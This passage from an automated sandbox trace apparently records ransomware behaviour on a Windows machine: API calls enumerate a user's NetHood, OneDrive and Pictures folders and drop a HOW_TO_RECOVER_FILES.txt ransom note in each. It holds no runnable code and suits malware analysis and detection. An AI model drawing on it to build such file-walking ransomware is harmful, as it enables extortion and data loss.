hTemplateFile=0x0) returned 0x7fc [0157.940] GetFileType (hFile=0x7fc) returned 0x1 [0157.941] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee2b0) returned 1 [0157.941] GetFileType (hFile=0x7fc) returned 0x1 [0157.941] WriteFile (in: hFile=0x7fc, lpBuffer=0x355d928*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ee408, lpOverlapped=0x0 | out: lpBuffer=0x355d928*, lpNumberOfBytesWritten=0x202ee408*=0x5d0, lpOverlapped=0x0) returned 1 [0157.942] CloseHandle (hObject=0x7fc) returned 1 [0157.942] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee3d0) returned 1 [0157.942] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\NetHood", nBufferLength=0x105, lpBuffer=0x202ede70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\NetHood", lpFilePart=0x0) returned 0x17 [0157.942] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\NetHood\\*", lpFindFileData=0x202ee0f0 | out: lpFindFileData=0x202ee0f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0157.943] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee380) returned 1 [0157.944] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\NetHood\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ede20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\NetHood\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x30 [0157.944] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee340) returned 1 [0157.944] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\NetHood\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\nethood\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7fc [0157.945] GetFileType (hFile=0x7fc) returned 0x1 [0157.945] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee2b0) returned 1 [0157.945] GetFileType (hFile=0x7fc) returned 0x1 [0157.945] WriteFile (in: hFile=0x7fc, lpBuffer=0x3574650*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ee408, lpOverlapped=0x0 | out: lpBuffer=0x3574650*, lpNumberOfBytesWritten=0x202ee408*=0x5d0, lpOverlapped=0x0) returned 1 [0157.946] CloseHandle (hObject=0x7fc) returned 1 [0157.947] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee3d0) returned 1 [0157.947] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\OneDrive", nBufferLength=0x105, lpBuffer=0x202ede70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\OneDrive", lpFilePart=0x0) returned 0x18 [0157.947] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\OneDrive\\*", lpFindFileData=0x202ee0f0 | out: lpFindFileData=0x202ee0f0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3f0f0bc5, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd4516574, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94022772, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0157.947] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3f0f0bc5, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd4516574, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94022772, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.947] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x3f0f0bc5, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x3f0f0bc5, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x93ef127a, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x61, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0157.947] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0157.947] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0157.947] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee310) returned 1 [0157.947] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee2d0) returned 1 [0157.947] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee3d0) returned 1 [0157.947] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\OneDrive", nBufferLength=0x105, lpBuffer=0x202ede70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\OneDrive", lpFilePart=0x0) returned 0x18 [0157.948] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\OneDrive\\*", lpFindFileData=0x202ee0f0 | out: lpFindFileData=0x202ee0f0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3f0f0bc5, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd4516574, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94022772, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0157.948] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3f0f0bc5, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd4516574, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94022772, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.948] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x3f0f0bc5, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x3f0f0bc5, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x93ef127a, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x61, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0157.948] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x3f0f0bc5, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x3f0f0bc5, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x93ef127a, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x61, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0157.948] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0157.948] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee310) returned 1 [0157.948] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee2d0) returned 1 [0157.948] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\OneDrive\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ede20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\OneDrive\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x31 [0157.948] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee340) returned 1 [0157.948] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\OneDrive\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\onedrive\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7fc [0157.949] GetFileType (hFile=0x7fc) returned 0x1 [0157.949] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee2b0) returned 1 [0157.949] GetFileType (hFile=0x7fc) returned 0x1 [0157.949] WriteFile (in: hFile=0x7fc, lpBuffer=0x35854c0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ee408, lpOverlapped=0x0 | out: lpBuffer=0x35854c0*, lpNumberOfBytesWritten=0x202ee408*=0x5d0, lpOverlapped=0x0) returned 1 [0157.950] CloseHandle (hObject=0x7fc) returned 1 [0157.950] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee3d0) returned 1 [0157.951] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures", nBufferLength=0x105, lpBuffer=0x202ede70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures", lpFilePart=0x0) returned 0x18 [0157.951] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\*", lpFindFileData=0x202ee0f0 | out: lpFindFileData=0x202ee0f0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x14544c, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x14544c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0157.951] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x14544c, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x14544c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.951] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b2b0e00, ftCreationTime.dwHighDateTime=0x1d4c5c8, ftLastAccessTime.dwLowDateTime=0xedeb4d00, ftLastAccessTime.dwHighDateTime=0x1d4d140, ftLastWriteTime.dwLowDateTime=0xedeb4d00, ftLastWriteTime.dwHighDateTime=0x1d4d140, nFileSizeHigh=0x0, nFileSizeLow=0x17ded, dwReserved0=0x0, dwReserved1=0x0, cFileName="0Bz_Z.jpg", cAlternateFileName="")) returned 1 [0157.951] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2bea340, ftCreationTime.dwHighDateTime=0x1d4ce5c, ftLastAccessTime.dwLowDateTime=0xdd4225a0, ftLastAccessTime.dwHighDateTime=0x1d4ceb1, ftLastWriteTime.dwLowDateTime=0xdd4225a0, ftLastWriteTime.dwHighDateTime=0x1d4ceb1, nFileSizeHigh=0x0, nFileSizeLow=0x1099c, dwReserved0=0x0, dwReserved1=0x0, cFileName="20qf0W39.png", cAlternateFileName="")) returned 1 [0157.951] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f0124f0, ftCreationTime.dwHighDateTime=0x1d4ca4a, ftLastAccessTime.dwLowDateTime=0x77dcea80, ftLastAccessTime.dwHighDateTime=0x1d4cb17, ftLastWriteTime.dwLowDateTime=0x77dcea80, ftLastWriteTime.dwHighDateTime=0x1d4cb17, nFileSizeHigh=0x0, nFileSizeLow=0x9e3f, dwReserved0=0x0, dwReserved1=0x0, cFileName="26eTmdX7PXkDqUA.bmp", cAlternateFileName="26ETMD~1.BMP")) returned 1 [0157.951] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaff4d3a0, ftCreationTime.dwHighDateTime=0x1d4ce6a, ftLastAccessTime.dwLowDateTime=0xf0ce4b40, ftLastAccessTime.dwHighDateTime=0x1d4d40a, ftLastWriteTime.dwLowDateTime=0xf0ce4b40, ftLastWriteTime.dwHighDateTime=0x1d4d40a, nFileSizeHigh=0x0, nFileSizeLow=0x2be5, dwReserved0=0x0, dwReserved1=0x0, cFileName="2eIrRgfiJT37RVl.jpg", cAlternateFileName="2EIRRG~1.JPG")) returned 1 [0157.952] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7d72080, ftCreationTime.dwHighDateTime=0x1d4d5ab, ftLastAccessTime.dwLowDateTime=0x8be50020, ftLastAccessTime.dwHighDateTime=0x1d4ccfd, ftLastWriteTime.dwLowDateTime=0x8be50020, ftLastWriteTime.dwHighDateTime=0x1d4ccfd, nFileSizeHigh=0x0, nFileSizeLow=0xd2ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="3DKcjATLX6s5dyeethZ.bmp", cAlternateFileName="3DKCJA~1.BMP")) returned 1 [0157.952] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2494a100, ftCreationTime.dwHighDateTime=0x1d4c6a9, ftLastAccessTime.dwLowDateTime=0xe387ecf0, ftLastAccessTime.dwHighDateTime=0x1d4d4a7, ftLastWriteTime.dwLowDateTime=0xe387ecf0, ftLastWriteTime.dwHighDateTime=0x1d4d4a7, nFileSizeHigh=0x0, nFileSizeLow=0x1696, dwReserved0=0x0, dwReserved1=0x0, cFileName="4Br56sTPsy.bmp", cAlternateFileName="4BR56S~1.BMP")) returned 1 [0157.952] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d42c2b0, ftCreationTime.dwHighDateTime=0x1d4d400, ftLastAccessTime.dwLowDateTime=0xbc8a9f90, ftLastAccessTime.dwHighDateTime=0x1d4c78b, ftLastWriteTime.dwLowDateTime=0xbc8a9f90, ftLastWriteTime.dwHighDateTime=0x1d4c78b, nFileSizeHigh=0x0, nFileSizeLow=0x15dd1, dwReserved0=0x0, dwReserved1=0x0, cFileName="4KN8ex-.gif", cAlternateFileName="")) returned 1 [0157.952] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ceb8d20, ftCreationTime.dwHighDateTime=0x1d4d163, ftLastAccessTime.dwLowDateTime=0x174c15c0, ftLastAccessTime.dwHighDateTime=0x1d4d4ad, ftLastWriteTime.dwLowDateTime=0x174c15c0, ftLastWriteTime.dwHighDateTime=0x1d4d4ad, nFileSizeHigh=0x0, nFileSizeLow=0x5ffd, dwReserved0=0x0, dwReserved1=0x0, cFileName="8T0iO.gif", cAlternateFileName="")) returned 1 [0157.952] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d50e4d0, ftCreationTime.dwHighDateTime=0x1d4ca8f, ftLastAccessTime.dwLowDateTime=0x1ec7dab0, ftLastAccessTime.dwHighDateTime=0x1d4d150, ftLastWriteTime.dwLowDateTime=0x1ec7dab0, ftLastWriteTime.dwHighDateTime=0x1d4d150, nFileSizeHigh=0x0, nFileSizeLow=0x16aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="abSNOzJyZ93JPN.jpg", cAlternateFileName="ABSNOZ~1.JPG")) returned 1 [0157.952] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x51278b1d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd45b4543, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x51278b1d, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Camera Roll", cAlternateFileName="CAMERA~1")) returned 1 [0157.952] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x972c4a20, ftCreationTime.dwHighDateTime=0x1d4cd10, ftLastAccessTime.dwLowDateTime=0x9dfab020, ftLastAccessTime.dwHighDateTime=0x1d4cbb8, ftLastWriteTime.dwLowDateTime=0x9dfab020, ftLastWriteTime.dwHighDateTime=0x1d4cbb8, nFileSizeHigh=0x0, nFileSizeLow=0xb798, dwReserved0=0x0, dwReserved1=0x0, cFileName="dathiPmNutSp3raxPROQ.bmp", cAlternateFileName="DATHIP~1.BMP")) returned 1 [0157.952] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x44053085, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x44053085, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce2f1526, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0157.953] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21c0dcc0, ftCreationTime.dwHighDateTime=0x1d4c9b8, ftLastAccessTime.dwLowDateTime=0x60ddfa00, ftLastAccessTime.dwHighDateTime=0x1d4ca58, ftLastWriteTime.dwLowDateTime=0x60ddfa00, ftLastWriteTime.dwHighDateTime=0x1d4ca58, nFileSizeHigh=0x0, nFileSizeLow=0x4ee5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Eh4CzEyNQ.png", cAlternateFileName="EH4CZE~1.PNG")) returned 1 [0157.953] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0396840, ftCreationTime.dwHighDateTime=0x1d4c6a4, ftLastAccessTime.dwLowDateTime=0xf9eb7f20, ftLastAccessTime.dwHighDateTime=0x1d4cd13, ftLastWriteTime.dwLowDateTime=0xf9eb7f20, ftLastWriteTime.dwHighDateTime=0x1d4cd13, nFileSizeHigh=0x0, nFileSizeLow=0x12427, dwReserved0=0x0, dwReserved1=0x0, cFileName="eW3yg4W1N5.bmp", cAlternateFileName="EW3YG4~1.BMP")) returned 1 [0157.953] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde9d50b0, ftCreationTime.dwHighDateTime=0x1d4c88e, ftLastAccessTime.dwLowDateTime=0xc6efa150, ftLastAccessTime.dwHighDateTime=0x1d4c98a, ftLastWriteTime.dwLowDateTime=0xc6efa150, ftLastWriteTime.dwHighDateTime=0x1d4c98a, nFileSizeHigh=0x0, nFileSizeLow=0xf97f, dwReserved0=0x0, dwReserved1=0x0, cFileName="i7Sa.gif", cAlternateFileName="")) returned 1 [0157.953] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bebb30, ftCreationTime.dwHighDateTime=0x1d4cc22, ftLastAccessTime.dwLowDateTime=0x34ea46f0, ftLastAccessTime.dwHighDateTime=0x1d4d409, ftLastWriteTime.dwLowDateTime=0x34ea46f0, ftLastWriteTime.dwHighDateTime=0x1d4d409, nFileSizeHigh=0x0, nFileSizeLow=0x17c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ia6JOH8L.jpg", cAlternateFileName="")) returned 1 [0157.953] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a863440, ftCreationTime.dwHighDateTime=0x1d4c94b, ftLastAccessTime.dwLowDateTime=0x72164560, ftLastAccessTime.dwHighDateTime=0x1d4d463, ftLastWriteTime.dwLowDateTime=0x72164560, ftLastWriteTime.dwHighDateTime=0x1d4d463, nFileSizeHigh=0x0, nFileSizeLow=0x12112, dwReserved0=0x0, dwReserved1=0x0, cFileName="IacLi7x8ROnEgd.gif", cAlternateFileName="IACLI7~1.GIF")) returned 1 [0157.953] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10d5e610, ftCreationTime.dwHighDateTime=0x1d4d5fe, ftLastAccessTime.dwLowDateTime=0x4180af30, ftLastAccessTime.dwHighDateTime=0x1d4cc66, ftLastWriteTime.dwLowDateTime=0x4180af30, ftLastWriteTime.dwHighDateTime=0x1d4cc66, nFileSizeHigh=0x0, nFileSizeLow=0x1106b, dwReserved0=0x0, dwReserved1=0x0, cFileName="j7MvXPd03ADui-UD4q5.jpg", cAlternateFileName="J7MVXP~1.JPG")) returned 1 [0157.953] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb33f8890, ftCreationTime.dwHighDateTime=0x1d4cf6c, ftLastAccessTime.dwLowDateTime=0xb3cb21d0, ftLastAccessTime.dwHighDateTime=0x1d4d150, ftLastWriteTime.dwLowDateTime=0xb3cb21d0, ftLastWriteTime.dwHighDateTime=0x1d4d150, nFileSizeHigh=0x0, nFileSizeLow=0x1364d, dwReserved0=0x0, dwReserved1=0x0, cFileName="KfSYCihKJOOjt.bmp", cAlternateFileName="KFSYCI~1.BMP")) returned 1 [0157.953] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14898f00, ftCreationTime.dwHighDateTime=0x1d4cffa, ftLastAccessTime.dwLowDateTime=0x34a44ee0, ftLastAccessTime.dwHighDateTime=0x1d4d56a, ftLastWriteTime.dwLowDateTime=0x34a44ee0, ftLastWriteTime.dwHighDateTime=0x1d4d56a, nFileSizeHigh=0x0, nFileSizeLow=0x28fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Khra_HFoPPxHHBG.gif", cAlternateFileName="KHRA_H~1.GIF")) returned 1 [0157.954] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7b03270, ftCreationTime.dwHighDateTime=0x1d4cd7f, ftLastAccessTime.dwLowDateTime=0x6114f5a0, ftLastAccessTime.dwHighDateTime=0x1d4cab2, ftLastWriteTime.dwLowDateTime=0x6114f5a0, ftLastWriteTime.dwHighDateTime=0x1d4cab2, nFileSizeHigh=0x0, nFileSizeLow=0xf23c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MAO0wQVJAEYSkF20.bmp", cAlternateFileName="MAO0WQ~1.BMP")) returned 1 [0157.954] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8036c40, ftCreationTime.dwHighDateTime=0x1d4d330, ftLastAccessTime.dwLowDateTime=0x42fcfa0, ftLastAccessTime.dwHighDateTime=0x1d4d06a, ftLastWriteTime.dwLowDateTime=0x42fcfa0, ftLastWriteTime.dwHighDateTime=0x1d4d06a, nFileSizeHigh=0x0, nFileSizeLow=0xbb7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MkRTmO5L6.bmp", cAlternateFileName="MKRTMO~1.BMP")) returned 1 [0157.954] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3fb6810, ftCreationTime.dwHighDateTime=0x1d4d210, ftLastAccessTime.dwLowDateTime=0xe6bf0460, ftLastAccessTime.dwHighDateTime=0x1d4ce0a, ftLastWriteTime.dwLowDateTime=0xe6bf0460, ftLastWriteTime.dwHighDateTime=0x1d4ce0a, nFileSizeHigh=0x0, nFileSizeLow=0x14614, dwReserved0=0x0, dwReserved1=0x0, cFileName="moQOm0BbPIj39soo.gif", cAlternateFileName="MOQOM0~1.GIF")) returned 1 [0157.954] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63f657c0, ftCreationTime.dwHighDateTime=0x1d4c5dd, ftLastAccessTime.dwLowDateTime=0x70051540, ftLastAccessTime.dwHighDateTime=0x1d4ca76, ftLastWriteTime.dwLowDateTime=0x70051540, ftLastWriteTime.dwHighDateTime=0x1d4ca76, nFileSizeHigh=0x0, nFileSizeLow=0x3cb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="NQcf.jpg", cAlternateFileName="")) returned 1 [0157.954] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d651660, ftCreationTime.dwHighDateTime=0x1d4cedf, ftLastAccessTime.dwLowDateTime=0x596c62f0, ftLastAccessTime.dwHighDateTime=0x1d4d202, ftLastWriteTime.dwLowDateTime=0x596c62f0, ftLastWriteTime.dwHighDateTime=0x1d4d202, nFileSizeHigh=0x0, nFileSizeLow=0x14754, dwReserved0=0x0, dwReserved1=0x0, cFileName="oe15HPldZxBF1rA_uldC.jpg", cAlternateFileName="OE15HP~1.JPG")) returned 1 [0157.954] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56983230, ftCreationTime.dwHighDateTime=0x1d4cc4d, ftLastAccessTime.dwLowDateTime=0x30161500, ftLastAccessTime.dwHighDateTime=0x1d4c694, ftLastWriteTime.dwLowDateTime=0x30161500, ftLastWriteTime.dwHighDateTime=0x1d4c694, nFileSizeHigh=0x0, nFileSizeLow=0x8db5, dwReserved0=0x0, dwReserved1=0x0, cFileName="oJMAky38Mq0T5w.png", 